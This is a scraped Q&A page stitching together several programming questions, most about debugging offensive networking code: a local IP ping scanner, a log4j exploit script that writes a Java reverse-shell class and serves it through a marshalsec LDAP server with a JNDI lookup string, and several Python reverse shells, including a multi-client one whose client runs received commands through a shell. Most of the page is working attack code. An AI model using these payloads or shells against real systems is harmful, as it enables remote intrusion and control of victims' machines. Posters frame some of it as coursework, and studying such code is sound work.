I making multithreaded local ip scanner in python. I would like to add an option so that you can stop the scanner after pressing CTRL + C. I added keyboardinterrupt capture but it did not disable the script. Would someone help me write this?
My script:
def ping(ip):
if platform.system().lower() == 'windows':
param = '-n'
else:
param = '-c'
command = ['ping', param, '1', ip]
if 'destination host unreachable' in str(subprocess.Popen(command, stdout = subprocess.PIPE).stdout.read().lower()):
pass
elif 'request timed out' in str(subprocess.Popen(command, stdout = subprocess.PIPE).stdout.read().lower()):
pass
else:
with lock:
try:
host = socket.gethostbyaddr(ip)[0]
except:
host = 'No hostname'
now = datetime.now()
print(Back.LIGHTGREEN_EX + Fore.BLACK + now.strftime('[%Y-%m-%d %H:%M:%S]') + Style.RESET_ALL + Fore.LIGHTGREEN_EX + f' {host} | {ip} | Active')
def threader():
while True:
worker = q.get()
ping(worker)
q.task_done()
for x in range(60):
t = threading.Thread(target = threader)
t.daemon = True
t.start()
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(('8.8.8.8', 53))
ip = s.getsockname()[0]
s.close()
prefix = ip.split('.')
prefix.pop()
for worker in range(256):
q.put('.'.join(prefix) + '.' + str(worker))
q.join()
print(Style.RESET_ALL, end = '')
Related
for a university project I am testing the log4j vulnerability. To do this, I use a python server that connects to the java client by creating a reverse shell.
Everything works except the output to server which is not displayed correctly. Specifically, the server shows the output of two previous inputs and I'm not understanding why.
I'm new to python and java programming so I'm a little confused.
Initial project: https://github.com/KleekEthicalHacking/log4j-exploit
I made some changes and added a python socket to handle the reverse shell.
PS: with netcat it seems to work fine but command with some space non work (ex: cd .. not work)
For run this project i use kali linux (python server) and ubuntu (java webapp). This code does not yet manage clients with windows os
poc.py + exploit class:
import sys
import argparse
from colorama import Fore, init
import subprocess
import multiprocessing
from http.server import HTTPServer, SimpleHTTPRequestHandler
init(autoreset=True)
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def payload(userip, webport, lport):
genExploit = (
"""
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%s;
//String cmd="/bin/sh";
String [] os_specs = GetOperatingSystem();
String os_name = os_specs[0].toString();
String cmd = os_specs[1].toString();
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
so.write(os_name.getBytes("UTF-8"));
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
public String [] GetOperatingSystem() throws Exception {
String os = System.getProperty("os.name").toLowerCase();
String [] result = new String[3];
if (os.contains("win")) {
result[0] = "Windows";
result[1] = "cmd.exe";
}
else if (os.contains("nix") || os.contains("nux") || os.contains("aix")) {
result[0] = "Linux";
result[1] = "/bin/sh";
}
return result;
}
}
""") % (userip, lport)
# writing the exploit to Exploit.java file
try:
f = open("Exploit.java", "w")
f.write(genExploit)
f.close()
print(Fore.GREEN + '[+] Exploit java class created success')
except Exception as e:
print(Fore.RED + f'[X] Something went wrong {e.toString()}')
# checkJavaAvailible()
# print(Fore.GREEN + '[+] Setting up LDAP server\n')
# openshellforinjection(lport)
checkJavaAvailible()
print(Fore.GREEN + '[+] Setting up a new shell for RCE\n')
p1 = multiprocessing.Process(target=open_shell_for_injection, args=(lport,))
p1.start()
print(Fore.GREEN + '[+] Setting up LDAP server\n')
p2 = multiprocessing.Process(target=createLdapServer, args=(userip, webport))
p2.start()
# create the LDAP server on new thread
# t1 = threading.Thread(target=createLdapServer, args=(userip, webport))
# t1.start()
# createLdapServer(userip, webport)
# start the web server
print(Fore.GREEN + f"[+] Starting the Web server on port {webport} http://0.0.0.0:{webport}\n")
httpd = HTTPServer(('0.0.0.0', int(webport)), SimpleHTTPRequestHandler)
httpd.serve_forever()
def checkJavaAvailible():
javaver = subprocess.call(['./jdk1.8.0_20/bin/java', '-version'], stderr=subprocess.DEVNULL,
stdout=subprocess.DEVNULL)
if javaver != 0:
print(Fore.RED + '[X] Java is not installed inside the repository ')
sys.exit()
def createLdapServer(userip, lport):
sendme = "${jndi:ldap://%s:1389/a}" % userip
print(Fore.GREEN + "[+] Send me: " + sendme + "\n")
subprocess.run(["./jdk1.8.0_20/bin/javac", "Exploit.java"])
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run(["./jdk1.8.0_20/bin/java", "-cp",
"target/marshalsec-0.0.3-SNAPSHOT-all.jar", "marshalsec.jndi.LDAPRefServer", url])
def open_shell_for_injection(lport):
terminal = subprocess.call(["qterminal", "-e", "python3 -i rce.py --lport " + lport])
# terminal = subprocess.call(["qterminal", "-e", "nc -lvnp " + lport]) #netcat work
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='please enter the values ')
parser.add_argument('--userip', metavar='userip', type=str,
nargs='+', help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport', metavar='webport', type=str,
nargs='+', help='listener port for HTTP port')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Netcat Port')
args = parser.parse_args()
payload(listToString(args.userip), listToString(args.webport), listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] user interupted the program.")
sys.exit(0)
rce.py:
import argparse
import socket
import sys
from colorama import Fore, init
def listToString(s):
str1 = ""
try:
for ele in s:
str1 += ele
return str1
except Exception as ex:
parser.print_help()
sys.exit()
def socket_for_rce(lport):
print(Fore.GREEN + "[+] Setup Shell for RCE\n")
SERVER_HOST = "0.0.0.0"
SERVER_PORT = int(lport)
BUFFER_SIZE = 8192
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_HOST, SERVER_PORT))
s.listen(1)
print(Fore.GREEN + f"Listening as {SERVER_HOST}:{SERVER_PORT}\n")
client_socket, client_address = s.accept()
print(
Fore.GREEN + "(" + Fore.YELLOW + "REMOTE HOST" + Fore.GREEN + ") " + f"{client_address[0]}:{client_address[1]}"
f" --> "
f"Connected! (exit = close connection)\n")
os_target = client_socket.recv(BUFFER_SIZE).decode()
print("OS TARGET: " + Fore.YELLOW + os_target + "\n")
if not os_target:
print(Fore.RED + "[X] No OS detected\n")
folderCommand = "pwd"
folderCommand += "\n"
client_socket.sendall(folderCommand.encode())
path = client_socket.recv(BUFFER_SIZE).decode()
print("path: " + path)
if not path:
print(Fore.RED + "[X] No work folder received\n")
path_text = Fore.GREEN + "(" + Fore.YELLOW + "REMOTE" + Fore.GREEN + ") " + path
while True:
command = input(f"{path_text} > ")
command += "\n"
# if not command.strip():
# continue
if command != "":
if command == "exit":
print(Fore.RED + "\n[X] Connection closed\n")
client_socket.close()
s.close()
break
else:
client_socket.sendall(command.encode())
data = client_socket.recv(BUFFER_SIZE).decode()
print(data)
else:
pass
if __name__ == "__main__":
try:
parser = argparse.ArgumentParser(description='Instruction for usage: ')
parser.add_argument('--lport', metavar='lport', type=str,
nargs='+', help='Rce Port')
args = parser.parse_args()
socket_for_rce(listToString(args.lport))
except KeyboardInterrupt:
print(Fore.RED + "\n[X] User interupted the program.")
sys.exit(0)
Result:
Now works. I added time.sleep(0.2) after each sendall in rce.py
this is the strangest error i ever had (i write this because most of my post is code!!
can you help me?
i have a new error :/
line 43: conn.send = command.encode()
NameError: name 'conn' is not defined here's the code:
import os
import socket
import sys
from _thread import *
mm = 0
owncmds = ["dir", "erase"]
def clientthread(conn):
buffer = ""
data = conn.recv(8192)
buffer += data
print(buffer)
# conn.sendall(reply)
def main():
try:
host = socket.gethostname()
port = 6666
tot_socket = input("Wie viele Clients sind zugelassen?: ")
list_sock = []
for i in range(int(tot_socket)):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port + i))
s.listen(2)
list_sock.append(s)
print("[*] Server listening on %s %d" % (host, (port + i)))
for j in range(len(list_sock)):
conn, addr = list_sock[j].accept()
print('[*] Connected with ' + addr[0] + ':' + str(addr[1]))
start_new_thread(clientthread, (conn,))
finally:
s.close()
main()
while mm < 1:
command = input(str("Command: "))
if command not in owncmds:
conn.send(command.encode())
else:
if command == "dir":
result = conn.recv(1024)
result = result.decode()
print(result)
if command == "erase":
command = command + "/F /Q "
FileErase = input(str("Filename: "))
command = command + FileErase
conn.send(command.encode())
print("Der Befehl wurde gesendet, warte auf Akzeptierung")
print("")
I have a problem, if I try to solve it, it does nothing to help the issue. I am trying to make a chat server for localhost at port 5000. I have a client and a serverTCP that has most of the logic.
import socket
from _thread import *
from queue import Queue
import threading
def main():
try:
host = 'localhost'
port = 5000
s = socket.socket()
s.bind((host,port))
s.listen(10)
#Listens for incomming connections
c, addr = s.accept()
print("Connection from: " + str(addr))
while True:
data = c.recv(1024).decode('utf-8')
if not data:
break
print("From connected %s: " %(str(addr)) + data)
#data = data.upper()
forma = '[' + str(addr) + '] ' + data
#Undo The bellow comments if system malfunction
#tosend = input(str("-->"))
#print("Sending: " + tosend)
#c.send(tosend.encode('utf-8'))
c.send(forma.encode('utf-8'))
print("Connection was lost with: " + str(addr))
main()
except ConnectionResetError as CRE:
print(str(CRE))
main()
except ConnectionAbortedError as CAE:
print(str(CAE))
main()
except OSError as OSE:
print(str(OSE))
return
main()
def threader():
while True:
worker = q.get()
main()
q.task_done()
q = Queue()
mtfu_l = threading.Lock()
for x in range(10):
t = threading.Thread(target = threader)
t.daemon = True
t.start()
for worker in range(20):
q.put(worker)
q.join()
And, the Client One:
import socket
from threading import Thread
inp = input("client num?")
inp2 = input("Name?")
host='localhost'
port=5000
def main(host,port):
try:
headers = {}
headers['User-Agent'] = "Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.27 Safari/537.17"
s = socket.socket()
s.connect((host,port))
print('connection established with ' + host)
connect = True
while connect:
message = input("--> ")
ss = socket.socket()
ss.connect((host,port))
config = '[' + inp2 + ']' + message + ' '
while message != 'q':
s.send(config.encode('utf-8'))
data = s.recv(1024).decode('utf-8')
print(data)
message = input("--> ")
config = '[' + inp2 + ']' + message + ' '
print('Connection was lost with ' + host)
connect = False
if connect != True:
main(host,port)
except BaseException as BE:
print(BE)
print('Connection lost with ' + host)
main(host,port)
My problem is, is that I cannot have multiple users chatting with one another. I want this to be the case. I've tried threading and having multiple functions to link together, but nothing seems to work. I think you guys at stack could help me though.
Thanks,
Jerry
You can only bind one process/thing to a port. You need to figure out how to route the individual connections to their given handler.
Server Code:
#!/usr/bin/python
import socket
import threading
import sys
import os
import time
bind_ip = raw_input("\nset lhost : ")
print "lhost set %s" % bind_ip
bind_port =int(raw_input("\nset lport : "))
print "lport set %s" % bind_port
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
time.sleep(0.8)
print "\n[*]Listening on %s:%d" % (bind_ip, bind_port)
client, addr = server.accept()
time.sleep(0.8)
print "[*] Binding connection on %s:%d" % (bind_ip, bind_port)
time.sleep(0.8)
print "[*] Accepted connection from %s:%d" % (bind_ip, bind_port)
time.sleep(0.5)
print "[*] Spwaning command shell"
time.sleep(0.5)
print "[*] Spwaned!!"
while True:
try:
print "\ncommand$control:~$"
# take commands
# command = raw_input("\ncommand$control:~ ")
command = sys.stdin.readline()
# if command == exit then exit
if command == "exit\n":
print "[!] Exiting..!"
client.send(command)
client.close()
os._exit(1)
else: # send 1st command
client.send(command)
recvd = None
# if recvd == # break loop and ask next command
while recvd != "#":
recvd = None
recvd = client.recv(4096)
if recvd == "#":
break
elif len(recvd):
recvd = recvd.replace('\r', '').replace('\n', '')
#recvd = recvd.rstrip('\t')
print recvd
except Exception, e:
print "Error: %s" % str(e)
os._exit(1)
Client Code:
#!/usr/bin/python
import socket
import threading
import subprocess
import sys
import os
target_host = raw_input("set target host: ")
target_port = int(raw_input("set target port: "))
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
def run_command(command):
output = ''
command = command.rstrip()
output = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, s**strong text**tderr=subprocess.STDOUT)
for line in iter(output.stdout.readline, ''):
line = line.replace('\n', '').replace('\r', '').replace('\t', '')
print line
client.send(line)
sys.stdout.flush()
while True:
try:
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer+=client.recv(1024)
if cmd_buffer == "exit\n":
client.close()
os._exit()
run_command(cmd_buffer)
# After run_command for loop ends, # is send to break
# from the server's while loop
client.send("#")
except Exception:
client.close()
os._exit(0)
The code works,the client sends '#' to server to indicate that is has finished sending realtime command output, so the server on receiving '#' breaks from the loop,and ask for next command. But after entering 2/3 commands the # is printed on servers stdout which should'nt and it doesn't break from loop. Also the output from client isn't received as i have formatted it using replace(). Please help.it will be appreciated.
I am following thenewboston tutorial, I think I did pretty much the same like he did, line by line, but my reverse shell is not working, I am trying to run it locally. I am running MultiServer.py and then MultiClient.py but I get an error. I'll explain it in a second but first, here is my code:
MultiServer.py:
import socket
import time
from queue import Queue
import threading
# One thread to listen and create sockets, second thread to connect and send commands
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
time.sleep(5)
socket_bind()
# Accept connections from multiple clients and save to list - Thread 1
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:] # delete items from list
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1) # no timeout
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0] + ":" + address[1])
except:
print("Error accepting connections")
# Interactive prompt for sending commands remotely
def start_connection():
while 1:
cmd = input('> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
# Displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections): # enumerate - counter
try:
conn.send(str.encode(' ')) # check if the connection is valid by sending empty message
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += 'Connection ' + str(i) + ' ' + str(all_addresses[i][0]) + ':' + str(all_addresses[i][1]) + '\n'
print('----- Clients -----' + '\n' + results)
# Selecting a target client
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to:', str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
# Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection lost')
break
# Create the threads
def create_threads():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # the thread will die when main program exit
t.start()
# Each list item is a new job
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join() # the queue is like a to-do list, we added 1 and 2 to the queue
# Do the next job in the queue (one handles connections, the other sends commands)
def work():
while True:
x = queue.get() # will be equal to 1 and then will be 2
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_connection()
queue.task_done()
create_threads()
create_jobs()
MultiClient.py
import os
import socket
import subprocess
import time
# Create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.33'
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error:', str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print('Socket connection error:', str(msg))
time.sleep(5)
socket_connect()
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(20480)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].deocde('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()
So, in the tutorial we first created a simple reverse shell that can contain only one client, and it was working for me fine. if needed, here is the code:
Client.py:
import os
import socket
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9997
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9997
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
As I understood it can be a problem with the firewall so the code may be fine, but a check from an other computer will be great for me. Also, I haven't specified the error I receive, when running MultiServer.py and the MultiClient.py I get the message:
C:\Python34\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/MultiClient/MultiServer.py
> Binding socket to port: 9992
Error accepting connections
I am currently trying this on windows, I also have Linux and I haven't tried to run this there. I tried to disable 'windows firewall with advanced security' but no help.